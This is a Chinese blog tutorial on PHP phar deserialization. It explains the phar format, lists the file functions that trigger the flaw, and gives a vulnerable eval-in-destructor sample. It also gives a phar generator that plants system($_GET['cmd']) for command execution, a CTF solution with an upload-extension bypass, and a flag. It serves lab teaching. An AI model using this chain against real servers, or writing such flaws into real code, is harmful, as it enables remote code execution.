WEB渗透—反序列化(十一)

Web渗透—反序列化        课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


二十一、phar反序列化原理

1.什么是phar

JAR是开发Java程序的一个应用,包括所有的可执行、可访问的文件,都打包进了一个JAR文件里,使得部署过程十分简单。

PHAR(“Php ARchive”)是PHP里类似于JAR的一种打包文件

对于PHP 5.3或更高版本,Phar后缀文件是默认开启支持的,可以直接使用它。

文件包含:phar伪协议,可读取.phar文件。

Phar的结构:

1)stub phar        文件标识,格式为xxx<?php xxx;__HALT_COMPILER();?>; (头部信息)

2)manifset        压缩文件的属性等信息,以序列化存储;

3)contents        压缩文件的内容;

4)signature        签名,放在文件末尾

  Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化

压缩:

<?php
$phar = new Phar('test2.phar',0,'test2.phar');   //创建一个test2.phar文件
$phar->buildfromDirectory('f:\0Day');            //添加0Day文件夹内的所有文件添加到test2.phar文件中
$phar->setDefaultStub('test.txt','test.txt');    //设置执行时的入口文件,第一个用于命令行,第二个用于浏览器访问,这里都设置为"test.txt"
?>

new Phar可以创建一个 PHAR 文件对象,在例题中传入了三个参数:文件名、文件的压缩模式(0 表示不压缩)以及 PHAR 文件内部的别名(可选)。

buildfromDirectory方法的作用是将指定目录中的文件添加到 PHAR 文件中。它会递归地遍历目录下的所有文件和子目录,并将它们添加到 PHAR 文件的内容中

setDefaultStub方法的作用是设置 PHAR 文件的默认入口点。入口点是指在执行 PHAR 文件时,首先执行的文件或脚本。

解压缩:

<?php
$phar = new Phar('test.phar');
$phar->extractTo('test');        //将PHAR文件中的内容提取到指定的目录test
?>

extractTo方法的作用是将 PHAR 文件中的内容提取到指定的目录。它接受一个参数,即目标目录的路径,将 PHAR 文件中的所有文件和目录提取到该目录中。

2.Phar漏洞原理

manifset压缩文件的属性等信息,以序列化存储;存在一段序列化的字符串;

调用phar伪协议,可读取 .phar 文件;

Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。

Phar需要PHP>=5.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)

受影响的函数

fileatime

filectime

file_exists

file_get_contents

file_put_contents

file

filegroup

fopen

fileinode

filemtime

fileowner

fileperms

is_dir

is_executable

is_file

is_link

is_readable

is_writable

is_writeable

parse_ini_file

copy

unlink

stat

readfile

3.漏洞实验验证

index.php

<?php
class Testobj{
    var $output="echo 'ok';";
    function __destruct(){             //反序列化Testobj触发__destruct(),调用output值
        eval($this->output);
    }
}
if(isset($_GET['filename'])){
    $filename=$_GET['filename'];       //提交文件名filename,file_exists读取文件
    var_dump(file_exists($filename));  //检查文件是否存在
}
?>

file_exists有文件包含功能,可调用phar伪协议,读取test.phar

phar.php

<?php
class Testobj{
    var $output='';
}
@unlink('test.phar');              //删除之前的test.phar文件(如果有)
$phar=new Phar('test.phar');       //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();           //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');    //写入stub
$o=new Testobj();
$o->output='system($_GET["cmd"]);';
$phar->setMetadata($o);                           //写入meta-data
$phar->addFromString("test.txt","test");          //添加要压缩的文件
$phar->stopBuffering();
?>

注意:需要PHP>=5.2在php.ini中将phar.readonly设为Off

思路: 

1)生成phar文件test.phar,给其中output赋值为system($_GET["cmd"]);

2)Phar协议解析文件时,会自动触发manifest字段的序列化字符串进行反序列化

3)反序列化触发__destruct(),执行eval($this->output);

4)而反序列化后output='system($_GET["cmd"]);',cmd的值变得可控

5)构造payload:URL?filename=phar://test.phar&cmd=whoami

4.Phar漏洞条件

1)phar文件能上传到服务器端;

(可手动修改后缀,不识别后缀名)

2)要有可用反序列化魔术方法作为跳板;

(需要有__wakeup()、__destruct()魔术方法)

3)要有文件操作函数;

(如file_exosts($filename),fopen(),file_get_contents())

4)文件操作函数参数可控,且 :/phar 等特殊字符没有被过滤


二十二、phar反序列化例题

1.实例代码

目标:输出flag

<?php
class TestObject {
    public function __destruct() {    //反序列化TestObject()触发__destruct执行echo $flag
        include('flag.php');
        echo $flag;
    }
}
$filename = $_POST['file'];           //通过POST提交file赋值$filename
if (isset($filename)){                //判断是否有$filename值传递
    echo md5_file($filename);         //计算文件的MD5值
}
//upload.php
?> 

md5_file()是一个PHP内置函数,用于计算指定文件的MD5值

根据例题中的提示,我们发现了upload.php页面,可以进行文件上传

判断是否具有Phar漏洞条件:

        1)phar文件能上传到服务器端( /upload.php )

        2)要有可反序列化魔术方法作为跳板( __destruct() )

        3)要有文件操作函数( md5_file )

        4)文件操作函数参数可控( $POST['file'] )

2.解题代码

<?php
class TestObject{
}
@unlink('test.phar');           //删除之前的test.phar文件(如果有)
$phar=new Phar('test.phar');    //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();        //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');      //写入stub
$o=new TestObject();
$phar->setMetadata($o);                             //写入meta-data
$phar->addFromString("test.txt","test");            //添加要压缩的文件
$phar->stopBuffering();
?>

利用php脚本创建一个phar文件,其中 mate-data 里放置一个包含TestObject()的序列化字符串

 

3.解题步骤

1)生产一个phar文件,在mate-data里放置一个包含TestObject的序列化字符串;

2)上传文件,需要更改文件后缀为图片png格式,进行绕过,并得到上传文件存放目录;

3)利用POST传参和phar伪协议传递phar文件路径,md5_file执行phar伪协议,触发反序列化;

4)反序列化TestObject触发__destruct()执行echo $flag,得到flag。

 ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/217161.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ESP32-Web-Server编程-通过 Web 下载文本

ESP32-Web-Server编程-通过 Web 下载文本 概述 当你希望通过网页导出设备的数据时&#xff0c;可以在 ESP32 上部署一个简单的文件 Web 服务器。 需求及功能解析 本节演示如何在 ESP32 上部署一个最简单的 Web 服务器&#xff0c;来接收浏览器或者 wget 指令请求文件数据。…

java 之 继承与多态的详细介绍

文章目录 类的继承1. 基本语法2. 继承的特点3. 方法的重写&#xff08;方法的覆盖&#xff09;super 关键字1. 调用父类的构造器2. 访问父类的成员变量3. 调用父类的方法4. 在构造器中调用父类方法封装性以及访问修饰符抽象方法1. 声明抽象类2. 抽象方法3. 继承抽象类4. 抽象类…

Zabbix自定义监控内容

自定义监控客户端服务器登录的人数 需求&#xff1a;限制登录人数不超过 3 个&#xff0c;超过 3 个就发出报警信息 1.在客户端创建自定义key //明确需要执行的 linux 命令 who | wc -l//创建 zabbix 的监控项配置文件&#xff0c;用于自定义 key vim /etc/zabbix/zabbix_ag…

com.mongodb.MongoSocketOpenException: Exception opening socket

估计mongodb数据库没开启&#xff0c;或者链接错误了&#xff0c;谁又改了&#xff0c;唉 2023-11-29 16:19:45.818 INFO 39552 --- [127.0.0.1:27017] org.mongodb.driver.cluster : Exception in monitor thread while connecting to server 127.0.0.1:27017…

浅析Hotspot的经典7种垃圾收集器原理特点与组合搭配

# 浅析Hotspot的经典7种垃圾收集器原理特点与组合搭配 HotSpot共有7种垃圾收集器&#xff0c;3个新生代垃圾收集器&#xff0c;3个老年代垃圾收集器&#xff0c;以及G1&#xff0c;一共构成7种可供选择的垃圾收集器组合。 新生代与老年代垃圾收集器之间形成6种组合&#xff0c…

Unity 代码控制Color无变化

Unity中&#xff0c;我们给Color的赋值比较常用的方法是&#xff1a; 1、使用预定义颜色常量&#xff1a; Color color Color.white; //白色 Color color Color.black; //黑色 Color color Color.red; //红色 Color color Color.green; //绿色 Color color Color.blue; …

【Java】类和对象之超级详细的总结!!!

文章目录 前言1. 什么是面向对象&#xff1f;1.2面向过程和面向对象 2.类的定义和使用2.1什么是类&#xff1f;2.2类的定义格式2.3类的实例化2.3.1什么是实例化2.3.2类和对象的说明 3.this引用3.1为什么会有this3.2this的含义与性质3.3this的特性 4.构造方法4.1构造方法的概念4…

回溯和分支算法

状态空间图 “图”——状态空间图 例子&#xff1a;农夫过河问题——“图”状态操作例子&#xff1a;n后问题、0-1背包问题、货郎问题(TSP) 用向量表示解&#xff0c;“图”由解向量扩张得到的解空间树。 ——三种图&#xff1a;n叉树、子集树、排序树 ​ 剪枝 不满住条件的…

单细胞测序并不一定需要harmony去除批次效应

大家好&#xff0c;今天我们分享的是单细胞的学习教程https://www.singlecellworkshop.com/analysis-tutorial.html 教程的作者使用了四个样本&#xff0c;但是没有使用harmony或者其他方法去整合 去除批次效应。 主要内容&#xff1a; SCTransform流程代码及结果 harmony流程…

python pyaudio 录取语音数据

python pyaudio 录取语音数据 pyaudio安装方法&#xff1a; pip install pyaudio如果这个不行&#xff0c;可以尝试&#xff1a; pip install pipwin pipwin install pyaudio代码如下&#xff1a; import pyaudio import waveRESPEAKER_RATE 44100 # 采样率&#xff0c;每…

界面组件DevExpress Reporting v23.1新版亮点 - UX功能增强

DevExpress Reporting是.NET Framework下功能完善的报表平台&#xff0c;它附带了易于使用的Visual Studio报表设计器和丰富的报表控件集&#xff0c;包括数据透视表、图表&#xff0c;因此您可以构建无与伦比、信息清晰的报表 界面组件DevExpress Reporting v23.1已于前段时间…

无头浏览器与Selenium:探索无界爬虫的奇妙世界

selenium设置无头浏览器 背景 ​ 我们之前的selenium都是浏览器驱动自动打开一个网页&#xff0c;执行相关操作&#xff0c;其实也可以让其后台显示&#xff0c;不用在前台显示。 ​ 要设置无头浏览器&#xff0c;可以使用Selenium的Headless模式。在Headless模式下&#xf…

从零开始实现神经网络(二)_CNN卷积神经网络

参考文章: 介绍卷积神经网络1 介绍卷积神经网络2 在过去的几年里&#xff0c;关于卷积神经网络&#xff08;CNN&#xff09;的讨论很多&#xff0c;特别是因为它们彻底改变了计算机视觉领域。在这篇文章中&#xff0c;我们将建立在神经网络的基本背景知识的基础上&#xff0c;探…

GCN,GraphSAGE 到底在训练什么呢?

根据DGL 来做的&#xff0c;按照DGL 实现来讲述 1. GCN Cora 训练代码&#xff1a; import osos.environ["DGLBACKEND"] "pytorch" import dgl import dgl.data import torch import torch.nn as nn import torch.nn.functional as F from dgl.nn.pytorc…

质量小议35 -- SQL注入

已经记不得上次用到SQL注入是什么时候了&#xff0c;一些概念和操作已经模糊。 最近与人聊起SQL注入&#xff0c;重新翻阅&#xff0c;暂记于此。 重点&#xff1a;敏感信息、权限过大、未脱敏的输入/输出、协议、框架、数据包、明文、安全意识 SQL - Structured Query La…

时间序列预测实战(二十三)进阶版LSTM多元和单元预测(课程设计毕业设计首选)

一、本文介绍 本篇文章给大家带来的是利用我个人编写的架构进行LSTM模型进行时间序列建模&#xff08;专门为了时间序列领域新人编写的架构&#xff0c;简单且不同于市面上大家用GPT写的代码&#xff09;&#xff0c;包括结果可视化、支持单元预测、多元预测、模型拟合效果检测…

(C++)盛水最多的容器--双指针法

个人主页&#xff1a;Lei宝啊 愿所有美好如期而遇 力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台备战技术面试&#xff1f;力扣提供海量技术面试资源&#xff0c;帮助你高效提升编程技能&#xff0c;轻松拿下世界 IT 名企 Dream Offer。https://le…

软著项目推荐 深度学习图像风格迁移

文章目录 0 前言1 VGG网络2 风格迁移3 内容损失4 风格损失5 主代码实现6 迁移模型实现7 效果展示8 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 深度学习图像风格迁移 - opencv python 该项目较为新颖&#xff0c;适合作为竞赛课题…

【ArcGIS Pro微课1000例】0048:深度学习--人群计数

文章目录 一、小学回忆录二、深度学习计算人头数三、案例实现一、小学回忆录 加载配套实验数据包中的图片及训练模型。你还记得当年的小学毕业班有多少同学吗?今天我们就用ArcGIS提供的人工智能工具,重温一下童年记忆。 二、深度学习计算人头数 本案例使用到的是深度学习中…

[树莓派3B+][内核版本6.1]的linux内核编译+替换 (超详细)

学习Linux的内核编译&#xff0c;我使用的是x86 64位的18.04的ubuntu-linux虚拟机&#xff1a; 目录 树莓派的Linux内核源码安装 操作系统的启动过程 & Bootloader 单片机裸机&#xff1a;C51,STM32 X86&#xff0c;Intel&#xff1a;windows 嵌入式产品&#xff1a;…